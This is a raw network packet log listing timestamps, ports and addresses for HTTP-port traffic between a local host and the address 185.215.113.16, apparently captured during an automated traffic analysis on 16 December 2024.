Dec 16, 2024 15:02:28.783407927 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.783421040 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.783446074 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.783461094 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.785258055 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.785275936 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.785312891 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.787749052 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.787760973 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.787772894 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.787791014 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.787811041 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.787852049 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.787888050 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.789297104 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.789356947 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.790565014 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.790576935 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.790601969 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.790623903 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.790672064 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.790735960 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.792109966 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.792124033 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.792151928 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.792166948 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.793654919 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.793747902 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.794912100 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.794924974 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.794962883 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.795016050 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.795047998 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.796597004 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.796608925 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.796629906 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.796647072 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.797636032 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.797678947 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.798013926 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.798105955 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.799047947 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.799087048 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.799388885 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.799515963 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.800517082 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.800529957 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.800559998 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.800574064 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.801789999 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.801835060 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.802251101 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.802299976 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.803157091 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.803195000 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.803342104 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.803594112 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.804687977 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.804699898 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.804780006 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.804780006 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.805999994 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.806010962 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.806046963 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.806066990 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.807408094 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.807450056 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.807497978 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.807537079 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.808762074 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.808773994 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.808828115 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.808829069 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.810023069 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.810034037 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.810067892 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.811289072 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.811372995 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.811558008 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.811594963 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.812696934 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.812741995 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.813055038 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.813123941 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.814152002 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.814188004 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.814210892 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.814222097 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.815407038 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.815455914 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.815521955 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.815676928 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.816848040 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.816863060 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.816895962 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.816917896 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.818238974 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.818253040 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.818289042 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.818306923 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.819399118 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.819443941 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.819498062 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.819535017 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.820770025 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.820812941 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.821113110 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.821152925 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.822438955 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.822451115 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.822484970 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.822499990 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.823539972 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.823579073 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.823678970 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.823823929 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.824825048 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.824863911 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.824898005 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.824942112 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.826234102 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.826282978 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.826323986 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.826411963 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.827743053 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.827788115 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.942018032 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.942034006 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.942068100 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.942097902 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.942308903 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.942342997 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.942364931 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.942377090 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.943279982 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.943332911 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.943361044 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.943494081 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.944207907 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.944257021 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.944442987 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.944488049 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.945175886 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.945188046 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.945245028 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.946214914 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.946264029 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.946670055 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.946717024 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.947046995 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.947087049 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.947268963 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.947344065 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.948127985 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.948142052 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.948167086 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.948183060 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.948920012 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.948966026 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.948987007 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.949032068 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.949939966 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.949990034 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.950018883 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.950057983 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.950956106 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.951004982 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.951015949 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.951066971 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.951788902 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.951824903 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.951986074 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.952028990 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.953187943 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.953232050 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.953265905 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.953325033 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.953805923 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.953851938 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.953995943 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.954062939 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.954746962 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.954761028 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.954793930 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.955579996 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.955705881 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.955756903 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.956630945 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.956646919 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.956681967 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.956697941 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.957525015 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.957573891 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.957580090 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.957772970 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.958451033 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.958503008 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.958574057 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.959136009 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.959389925 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.959608078 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.959639072 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.959695101 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.960427046 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.960448027 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.960470915 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.960488081 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.961407900 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.961499929 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.961524963 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.961548090 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.962281942 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.962296009 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.962322950 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.962346077 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.963258028 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.963385105 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.963443995 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.964381933 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.964401007 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.964448929 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.965125084 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.965168953 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.965248108 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.965286016 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.966152906 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.966193914 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.966201067 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.966224909 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.967089891 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.967143059 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.967308998 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.967350960 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.968269110 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.968286991 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.968317986 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.968334913 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.969043016 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.969059944 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.969086885 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.969100952 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.970026970 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.970073938 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.970273018 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.970309973 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.971141100 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.971155882 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.971182108 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.971194983 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.971792936 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.971832037 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.972055912 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.972090006 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.972760916 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.972781897 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.972816944 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.973624945 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.973671913 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.973817110 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.973951101 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.974566936 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.974616051 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.974690914 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.974836111 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.975946903 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.975964069 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.975994110 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.976008892 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.976596117 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.976608992 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.976660967 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.977590084 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.977638006 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.977840900 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.977885962 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.978363037 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.978405952 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.978452921 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.978499889 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.979650021 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.979671955 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.979713917 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.981173038 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.981189013 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.981235981 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.981293917 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.981306076 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.981328964 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.981347084 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.982177019 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.982225895 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.982414007 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.982575893 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.983167887 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.983288050 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.983335972 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.984210968 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.984225988 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.984253883 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.984272957 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.985152960 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.985167980 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.985196114 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.985217094 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.986649036 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.986668110 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.986687899 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.986704111 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.987123966 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.987143993 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.987186909 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.987205982 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.987991095 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.988004923 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.988034964 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.988063097 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.989665031 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.989677906 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.989737988 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.989748001 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.989825010 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.989989996 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.990031004 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.990942955 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.990962982 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.990993023 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.991010904 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.992400885 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.992482901 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.020251036 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.133750916 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.133764982 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.133804083 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.133830070 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.134074926 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.134136915 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.134140015 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.134185076 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.135091066 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.135246992 CET	49918	80	192.168.2.6	185.215.113.16
